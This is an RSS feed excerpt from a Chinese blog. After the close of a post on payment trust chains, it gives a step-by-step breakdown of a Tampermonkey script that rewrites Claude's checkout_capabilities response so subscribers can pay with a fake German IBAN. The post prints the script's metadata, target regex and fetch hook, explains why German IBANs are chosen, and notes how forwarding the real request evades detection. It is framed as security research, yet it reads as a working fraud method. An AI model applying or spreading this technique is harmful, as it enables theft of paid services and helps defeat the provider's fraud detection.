 &lt;p&gt;&lt;strong&gt;当支付系统由多个独立组件（商店、聚合器、定价引擎、checkout 前端、webhook 后端）拼装而成时，组件之间的信任传递就是攻击面。&lt;/strong&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;prorationMode 的信任传递是&amp;quot;Google Play 信任客户端传入的升级策略”。焚决的信任传递是&amp;quot;前端信任 API 返回的支付通道&amp;quot;。RevenueCat 的信任传递是&amp;quot;聚合器信任 SDK 传入的 app_user_id&amp;quot;。0 PHP 的信任传递是&amp;quot;定价系统信任 card BIN 推断的国家&amp;quot;。&lt;/p&gt;
&lt;p&gt;没有一个单点漏洞，都是&lt;strong&gt;链路上的信任滑坡&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;而防御的核心思路也始终一样：&lt;strong&gt;在链路的最末端（服务端 webhook、权益发放点）做最终校验，不信任链路上游传递的任何&amp;quot;结论&amp;quot;，只信任可验证的&amp;quot;事实&amp;quot;。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;具体到 0 PHP 这个 case：Stripe &lt;code&gt;checkout.session.completed&lt;/code&gt; 事件里的 &lt;code&gt;amount_total&lt;/code&gt; 是事实，&lt;code&gt;currency&lt;/code&gt; 是事实。如果一个 ChatGPT Plus 订阅的 &lt;code&gt;amount_total&lt;/code&gt; 是 0——不管前面经历了多少层区域路由和定价查询——&lt;strong&gt;这就不对&lt;/strong&gt;。拦住它。&lt;/p&gt;
&lt;p&gt;这比修价格表更重要。因为价格表总有遗漏，但&amp;quot;付费产品不能 0 元&amp;quot;这条规则没有例外。&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;往期相关&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/google-play-ccmax-proration-vulnerability-2026/" target="_blank" rel="noopener"
 &gt;Google Play 内购 CC Max 漏洞深度拆解&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/claude-cassia-mock-payment-bypass-analysis/" target="_blank" rel="noopener"
 &gt;焚决 Claude — 油猴脚本撬开支付大门&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-exploit-revenuecat-vulnerability/" target="_blank" rel="noopener"
 &gt;GPT Plus 订阅漏洞 — RevenueCat 凭证转移&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-google-play-subscription-transfer/" target="_blank" rel="noopener"
 &gt;GPT Plus 订阅漏洞 — Google Play Billing 鉴权缺失&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;</description></item><item><title>焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门</title><link>https://blog.7qiang.com/posts/claude-cassia-mock-payment-bypass-analysis/</link><pubDate>Sun, 26 Jul 2026 04:49:00 +0800</pubDate><guid>https://blog.7qiang.com/posts/claude-cassia-mock-payment-bypass-analysis/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 时效性提醒&lt;/strong&gt;：本文发布于 2026 年 7 月，文中涉及的 API 端点、支付流参数均为发布时有效值。Anthropic 随时可能修改 &lt;code&gt;checkout_capabilities&lt;/code&gt; 响应结构或在后端追加校验逻辑，届时本方法将失效。本文保留仅供安全研究与客户端安全防御参考。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="前言"&gt;前言
&lt;/h2&gt;&lt;p&gt;最近圈子里流传着一个叫**「焚决」**的东西，名字取得很玄，搞得好像什么了不得的秘术。拿到手一看——是一段不到 200 行的 Tampermonkey 油猴脚本。&lt;/p&gt;
&lt;p&gt;但别小看这 200 行代码。它干了一件非常漂亮的事情：在你打开 Claude 网页版准备付费订阅的瞬间，在浏览器内部悄无声息地篡改了一个 API 响应，把你看到的支付页面从信用卡表单换成了 SEPA 银行转账。然后你去 &lt;code&gt;randomiban.com&lt;/code&gt; 随便生成一个德国银行账号，填进去，提交——&lt;strong&gt;Claude Max 到手，扣款金额 0 元。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这玩意在外面传得沸沸扬扬，各路卡网卖的廉价 Claude 会员，相当一部分就是靠这个批量生产的。&lt;/p&gt;
&lt;p&gt;今天咱们把它彻底拆开。不光讲它怎么工作，更要讲&lt;strong&gt;为什么能成&lt;/strong&gt;、&lt;strong&gt;它利用了支付系统的哪个结构性缺陷&lt;/strong&gt;、以及&lt;strong&gt;这种攻击模式怎么迁移到其他平台&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一攻击全景一个-api-字段改写引发的连锁反应"&gt;一、攻击全景：一个 API 字段改写引发的连锁反应
&lt;/h2&gt;&lt;h3 id="正常的-claude-订阅流程"&gt;正常的 Claude 订阅流程
&lt;/h3&gt;&lt;p&gt;打开 &lt;code&gt;claude.ai&lt;/code&gt;，点击升级订阅，前端第一件事不是弹出支付表单——它先问后端一个问题：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET /api/organizations/{org_id}/subscription/checkout_capabilities
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个接口的职责很简单：&lt;strong&gt;告诉前端，当前这个用户应该走哪条支付通道。&lt;/strong&gt; 后端会综合 IP 地理位置、账号注册区域、浏览器 Accept-Language 等信号，返回一个支付流标识：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;checkout_flow&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;stripe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;前端拿到 &lt;code&gt;stripe&lt;/code&gt;，渲染信用卡表单——卡号、有效期、CVV、3DS 二次验证，一套标准流程。信用卡支付是同步授权的，银行实时校验，过不了就是过不了。&lt;/p&gt;
&lt;h3 id="劫持后的流程"&gt;劫持后的流程
&lt;/h3&gt;&lt;p&gt;脚本做的事情只有一件：&lt;strong&gt;把所有命中 &lt;code&gt;checkout_capabilities&lt;/code&gt; 的响应体替换为&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;checkout_flow&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;cassia&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;cassia&lt;/code&gt; 是 Anthropic 内部用于欧洲 SEPA 银行转账的支付流标识。前端一看返回值变了，渲染逻辑直接切换——不再是信用卡表单，而是一个 IBAN 输入框。&lt;/p&gt;
&lt;p&gt;这时候去 randomiban.com 生成一个德国 IBAN（格式：&lt;code&gt;DE&lt;/code&gt; + 2 位校验码 + 8 位银行代码 + 10 位账号，共 22 位），填进去，点提交。&lt;/p&gt;
&lt;p&gt;前端校验？只检查 IBAN 格式是否合法（MOD 97-10 校验通过即可）。&lt;/p&gt;
&lt;p&gt;后端校验？SEPA 体系下，&lt;strong&gt;提交时不做实时账户验证&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结果：Claude 立刻给你开通了订阅。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二sepa-直接借记为什么填个假账号也能过"&gt;二、SEPA 直接借记——为什么填个假账号也能过
&lt;/h2&gt;&lt;p&gt;这是整个攻击的核心利用点，不理解 SEPA 的清算机制，就不可能理解这个漏洞为什么成立。&lt;/p&gt;
&lt;h3 id="先搞清楚-sepa-是什么"&gt;先搞清楚 SEPA 是什么
&lt;/h3&gt;&lt;p&gt;SEPA（Single Euro Payments Area，单一欧元支付区）覆盖 36 个欧洲国家和地区，是欧盟推动的统一支付基础设施。其中的 &lt;strong&gt;SEPA Direct Debit&lt;/strong&gt;（直接借记，德语叫 Lastschriftverfahren）允许商家向消费者的银行账户&amp;quot;拉钱&amp;quot;——不是你给商家转账，而是商家拿着你的授权凭证去你的银行把钱取走。&lt;/p&gt;
&lt;p&gt;听起来很方便对吧？问题就出在这个&amp;quot;拉钱&amp;quot;的流程设计上。&lt;/p&gt;
&lt;h3 id="信用卡-vs-sepa-直接借记两套完全不同的信任模型"&gt;信用卡 vs SEPA 直接借记：两套完全不同的信任模型
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;/th&gt;
 &lt;th&gt;信用卡（Stripe 标准流）&lt;/th&gt;
 &lt;th&gt;SEPA 直接借记（cassia 流）&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;授权模式&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;同步在线授权&lt;/td&gt;
 &lt;td&gt;异步离线扣款&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;交易发起时校验&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;卡号 Luhn 校验 + CVV 验证 + 3DS 二次认证 + 银行实时授权&lt;/td&gt;
 &lt;td&gt;IBAN MOD 97-10 格式校验，&lt;strong&gt;仅此而已&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;银行参与时机&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;交易发起的瞬间&lt;/td&gt;
 &lt;td&gt;交易发起后的 1-3 个工作日&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;资金确认&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;毫秒级返回授权结果&lt;/td&gt;
 &lt;td&gt;银行不返回任何确认，排队等清算&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;消费者保护&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Chargeback 争议流程&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;8 周无条件撤回权&lt;/strong&gt;（SEPA CORE 规则）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;看到关键区别了吗？信用卡在你点击支付的&lt;strong&gt;那一瞬间&lt;/strong&gt;就跟银行确认了你有没有钱、卡号对不对、你本人是不是同意的。而 SEPA 直接借记&lt;strong&gt;完全不做这些&lt;/strong&gt;——它只检查 IBAN 的格式，然后把扣款请求扔进银行间的批量清算队列里，等着慢慢处理。&lt;/p&gt;
&lt;h3 id="sepa-core-清算流程"&gt;SEPA CORE 清算流程
&lt;/h3&gt;&lt;p&gt;实际的清算过程是这样的：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;你提交 IBAN
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;支付网关做 MOD 97-10 校验（纯数学公式，检查 IBAN 格式是否合法）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;校验通过 → 支付网关返回&amp;#34;交易成功&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Anthropic 收到成功信号 → 开通你的 Claude Max 订阅
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;... T+1 到 T+3 工作日 ...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;扣款请求进入 SEPA CORE 清算系统
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;商家银行 → 消费者银行：请从账号 DEXX XXXX XXXX XXXX XXXX XX 扣 $20
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;消费者银行查询账号 → 账号不存在 / 余额不足 / 未授权
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;返回 R 代码拒绝（R02=无效账号, R04=账户已关, R05=被授权人撤销...）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Anthropic 收到扣款失败通知 → 关闭你的订阅
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;重点来了：从你提交 IBAN 到银行清算出结果，中间有一个 1-3 个工作日的真空期。&lt;/strong&gt; 在这段时间里，你的 Claude Max 订阅是完全生效的——能用 Opus、能用所有高级功能、流量不限。&lt;/p&gt;
&lt;h3 id="mod-97-10格式校验的局限性"&gt;MOD 97-10：格式校验的局限性
&lt;/h3&gt;&lt;p&gt;IBAN 的校验算法叫 ISO 7064 MOD 97-10，原理其实很简单：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把 IBAN 的国家代码和校验码移到末尾&lt;/li&gt;
&lt;li&gt;把字母转换为数字（A=10, B=11, …, Z=35）&lt;/li&gt;
&lt;li&gt;对整个大整数做 MOD 97 运算&lt;/li&gt;
&lt;li&gt;结果等于 1 就合法&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这个算法能检出什么？&lt;strong&gt;格式错误&lt;/strong&gt;——打错了某一位、漏了一位、国家代码不对。&lt;/p&gt;
&lt;p&gt;这个算法检不出什么？&lt;strong&gt;一切跟真实世界有关的东西&lt;/strong&gt;——账户是否存在、余额是否充足、持有人是不是你。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;randomiban.com&lt;/code&gt; 生成的 IBAN 就是利用了这一点：它按照 MOD 97-10 算法逆向构造，生成的 IBAN &lt;strong&gt;格式 100% 合法&lt;/strong&gt;，能通过任何基于此算法的前端和后端校验。至于这个账号在不在现实中存在——那是 3 天后银行清算时才会发现的事情。&lt;/p&gt;
&lt;h3 id="为什么偏偏是德国-iban"&gt;为什么偏偏是德国 IBAN？
&lt;/h3&gt;&lt;p&gt;SEPA 覆盖 36 个国家，为什么脚本选了德国（DE）？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;格式最简单&lt;/strong&gt;：DE 开头的 IBAN 固定 22 位，结构是 &lt;code&gt;DE + 2位校验码 + 8位银行代码(BLZ) + 10位账号&lt;/code&gt;，没有额外的国家级校验叠加&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通过率最高&lt;/strong&gt;：德国 IBAN 在 Stripe 等主流支付网关的接受度最好，不会触发额外的地区风控&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;银行代码空间大&lt;/strong&gt;：8 位 BLZ 有大量有效的银行代码段，随机生成碰上有效 BLZ 前缀的概率不低&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对比一下法国 IBAN（27 位，还有额外的 RIB 密钥校验）或者西班牙 IBAN（24 位，有 DC 校验位），德国确实是阻力最小的选择。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="三脚本逐行技术拆解"&gt;三、脚本逐行技术拆解
&lt;/h2&gt;&lt;p&gt;理解了 SEPA 的机制，再来看脚本本身就清晰多了。每一个设计决策都有明确的技术理由。&lt;/p&gt;
&lt;h3 id="31-元数据抢在一切之前"&gt;3.1 元数据——抢在一切之前
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// @name TestExample Cassia Response Mock
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// @match *://claude.ai/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// @match *://*.claude.ai/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// @run-at document-start
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// @grant none
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// @sandbox raw
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;三个关键设定：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;@run-at document-start&lt;/code&gt;&lt;/strong&gt;：页面 DOM 还没开始构建，脚本已经注入完毕。这不是可选项——如果等到 &lt;code&gt;document-idle&lt;/code&gt;，&lt;code&gt;checkout_capabilities&lt;/code&gt; 的请求可能已经发出去了，Hook 就晚了。整个攻击成立的前提就是&lt;strong&gt;比目标请求更早完成注入&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;@sandbox raw&lt;/code&gt;&lt;/strong&gt;：绕过 Tampermonkey 的安全沙箱。默认沙箱会隔离脚本的执行上下文，导致你覆盖的 &lt;code&gt;window.fetch&lt;/code&gt; 和页面实际用的 &lt;code&gt;window.fetch&lt;/code&gt; 不是同一个。&lt;code&gt;raw&lt;/code&gt; 模式下脚本直接在页面上下文中执行，Hook 才能真正生效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;@grant none&lt;/code&gt;&lt;/strong&gt;：不申请 &lt;code&gt;GM_*&lt;/code&gt; 系列 API 权限。一方面减少 Tampermonkey 的安全提示弹窗，另一方面 &lt;code&gt;@sandbox raw&lt;/code&gt; 本身就不兼容 &lt;code&gt;GM_*&lt;/code&gt; API。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="32-精确制导只改一个接口"&gt;3.2 精确制导——只改一个接口
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TARGET_PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sr"&gt;/^\/api\/organizations\/[^/]+\/subscription\/checkout_capabilities\/?$/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;正则匹配精确到路径段，连末尾有没有斜杠都考虑了。&lt;strong&gt;只拦截这一个接口，其他所有请求原样放行。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为什么是这个接口？因为它是 Claude 前端支付流的&lt;strong&gt;单一决策点&lt;/strong&gt;——前端根据它的返回值决定渲染 Stripe 信用卡表单还是 SEPA IBAN 输入框。控制了这个响应，就控制了用户看到的整个支付界面。&lt;/p&gt;
&lt;p&gt;这种精准度也是为了隐蔽性——如果你 Hook 了所有请求，前端的行为会出各种异常，容易暴露。只改一个接口，前端其他部分的运行完全正常。&lt;/p&gt;
&lt;h3 id="33-fetch-拦截先发后改"&gt;3.3 Fetch 拦截——先发后改
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nativeFetch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;init&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;init&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt; &lt;span class="k"&gt;instanceof&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;targetUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;getTargetUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;originalResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;nativeFetch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;targetUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;originalResponse&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;createMockResponse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;originalResponse&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意调用顺序：&lt;strong&gt;先用原生 &lt;code&gt;fetch&lt;/code&gt; 把真实请求正常发出去，等拿到响应后再替换返回值。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是这个脚本最巧妙的地方。&lt;/p&gt;
&lt;p&gt;如果直接拦截请求不发出去，构造一个假响应返回呢？功能上没问题。但从服务端的角度看——你打开了支付页面，前端应该调 &lt;code&gt;checkout_capabilities&lt;/code&gt;，结果后端日志里根本没看到这个请求。这就是一个异常信号，可以被 Anthropic 的安全团队用于检测。&lt;/p&gt;
